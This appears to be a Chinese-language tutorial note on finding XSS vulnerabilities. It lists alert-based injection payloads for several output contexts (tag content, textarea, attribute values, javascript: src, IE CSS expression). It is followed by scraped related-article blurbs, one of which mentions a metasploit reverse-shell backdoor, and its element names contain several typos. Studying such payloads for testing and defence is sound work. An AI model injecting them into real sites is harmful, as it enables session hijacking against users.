XSS 渗透思路笔记
了解XSS首先要了解HTML里面的元素:共有5种元素:空元素、原始文本元素、 RCDATA元素、外来元素以及常规元素。
空元素
area、base、br、col、 command、 embed、hr、img、 input、keygen、ink、meta、 param、 source、tack、wtbr
原始文本元素
script、stye
RCDATA元素
textarea、tte
外来元素
来自 MathML命名空间和SvG命名空间的元素。
常规元素
其他HTML允许的元素都称为常规元素。
常用JS事件
on Click()
on Error()
on Focus()
on Copy()
on Mousewheel()
on MouseOver()
弹窗函数:aert、 prompt、 confirm
html中使用 script标签调用弹窗函数构造弹窗语句示例:<script>alert("xss")</script>
XSS漏洞的本质是一种注入,是一种静态脚本代码的注入。
那么大体挖掘思路就显而易见了:寻找可控点参数)->尝试注入
跨站脚本出现场景分析
1:输出内容在标签内
普通标签如<pre>内
<pre>[----用户输入----]</pre>
<html>
<head></head>
<body>
<pre>
<svg onload="alert(1)"></svg>
</pre>
</body>
</html>
RCDATA标签如< textarea>内
需要先闭合Textarea标签,然后再新建标签触发XSS
<html>
<head></head>
<body>
<textarea></textarea>
<svg onload="alert(1)"></svg>
</body>
</html>
输出内容在标签属性中
输出在普通标签的value属性中
相关案例
<input type='text' value='[---用户输入---]'>
测试方法
1.闭合单双引号(" , ')(属性),然后定义一个新的事件,在件里执行对应的 Payload进行触发。例如上面样例,利用
方法如下
<input type="text” value=" onclick="alert(1)"> (" onclick="alert(1)为输入) 通过闭合vaue属性的双引号后。新定义了 onclick事件,只需要点击该标签即可触发 2.闭合单双引号("、')(属性)后直接闭合标签, 然后自行新建标签进行触发,例如上面样例,利用方法如下: < input type="text” value=""><svg/onload=alert(1)>"> ("><svg/onload=alert(1)>为输入) 通过闭合vaue属性的双引号后,然后再写入>闭合了前面的nput标签,然后新建了svg标签操作进行触发。
输出在src/href属性中(考虑使用协议)利用协议(常用的JavaScript协议,data协议)
<iframe src="javaScript:alert(1)"></iframe> (javaScript:alert(1)为输入)
输出内容在script标签中:尝试闭合原js语句进行触发
输出内容在Content-type为text/javascript的响应包中尝试闭合原js语句进行触发;
输出内容在CSS代码中:IE浏览器支持CSS中的 expression,利用类似此表达式可以执行XSS。(IE678下通用):
<span style="color:1;x:expression(alert(/xss/));"></span>
XSS 渗透思路笔记的更多相关文章
- metasploit渗透测试笔记(内网渗透篇)
x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...
- metasploit 渗透测试笔记(基础篇)
0x00 背景 笔记在kali linux(32bit)环境下完成,涵盖了笔者对于metasploit 框架的认识.理解.学习. 这篇为基础篇,并没有太多技巧性的东西,但还是请大家认真看啦. 如果在阅 ...
- MSSQL站库分离情况的渗透思路
本文转自:http://bbs.blackbap.org/thread-6203-1-2.html 1. 服务器属内网环境,站库分离,通过web.config找到数据库服务库SA帐号密码,成功添加用户 ...
- XSS Challenges学习笔记 Stage#1~ Stage#19
开门见山 Stage #1 http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9 这一道题发现我们写入的内容直 ...
- [思路笔记]WEB安全之漏洞挖掘
记录自己在实际渗透测试以及漏洞挖掘中会用到的思路和方法.不断完善,尽量以系统的方式展现程序化式的漏洞挖掘.由于各种原因,不便公开. 通用策略 1.信息搜集 : 数据挖掘.业务挖掘 数据: 邮箱.手机号 ...
- XSS - Labs 靶场笔记(下)
Less - 11: 1.观察界面和源代码可知,依旧是隐藏表单 2.突破点是 $str11=$_SERVER['HTTP_REFERER']; (本题为HTTP头REFERER注入) 3.因此构造pa ...
- Web渗透测试笔记(基础部分)
信息收集: dns信息收集 格式:dns... -参数 域名 -参数 示例: root@xxSec:~# dnsenum baidu.com root@xxSec:~# dnsenum -f dns. ...
- kalilinux渗透测试笔记
声明:本文理论大部分是苑房弘kalilinux渗透测试的内容 第五章:基本工具 克隆网页,把gitbook的书记下载到本地 httrack "http://www.mybatis.org/m ...
- XSS漏洞学习笔记
XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...
随机推荐
- 谈谈JVM(基础模型)
一,基本概念 JVM是可运行Java代码的假想计算机 ,包括一套字节码指令集.一组寄存器.一个栈. 一个垃圾回收,堆 和 一个存储方法域. JVM 是运行在操作系统之上的,它与硬件没 ...
- Ubuntu虚拟机设置共享文件夹
Ubuntu虚拟机设置共享文件夹 注:个人笔记,小白笔记. 点击设置 进入到Ubuntu 中 cd /mnt/hgfs/ 后 我们会看到自己设置的共享文件夹.
- Ethical Hacking - GAINING ACCESS(10)
CLIENT SIDE ATTACKS Use if server-side attacks fail. If IP is probably useless. Require user interac ...
- 为Dark模拟做出的一些微小的贡献
这几周经过liners大佬的指导,发现自己的代码实现能力确实太过于垃圾,所以根据他的指示,我应该去多多练习一下Dark模拟,但是最近刚刚入手Dark模拟的我感到非常的吃力,所以本人今天写博客一篇来讲述 ...
- 尝鲜刚发布的 SpringFox 3.0.0,以前造的轮子可以不用了...
最近 SpringFox 3.0.0 发布了,距离上一次大版本2.9.2足足有2年多时间了.可能看到这个名字,很多读者会有点陌生.但是,只要给大家看一下这两个依赖,你就知道了! <depende ...
- 题解 洛谷 P3210 【[HNOI2010]取石头游戏】
考虑到先手和后手都使用最优策略,所以可以像对抗搜索一样,设 \(val\) 为先手收益减去后手收益的值.那么先手想让 \(val\) 尽可能大,后手想让 \(val\) 尽可能小. 继续分析题目性质, ...
- 干货分享丨玩转物联网IoTDA服务系列四-智能网关
摘要:该场景主要描述的是设备可以通过MQTT协议与物联网平台进行交互,用户可以在控制台产品详情中自定义Topic,通过应用侧接口或控制台创建数据转发规则,把设备上报的消息转发给其他华为云服务,供应用侧 ...
- 学习MySQL这一篇就够了
MySQL 第一章 数据库概述 1.1.数据库的好处 将数据持久化到本地 提供结构化查询功能 1.2.数据库的常见概念 DB:数据库,存储数据的仓库 DBS:数据库管理系统,又称为数据库软件或者数据库 ...
- Python os.tcgetpgrp() 方法
概述 os.tcgetpgrp() 方法用于回与终端fd(一个由os.open()返回的打开的文件描述符)关联的进程组.高佣联盟 www.cgewang.com 语法 tcgetpgrp()方法语法格 ...
- PHP preg_grep() 函数
preg_grep 函数用于返回匹配模式的数组条目.高佣联盟 www.cgewang.com 语法 array preg_grep ( string $pattern , array $input [ ...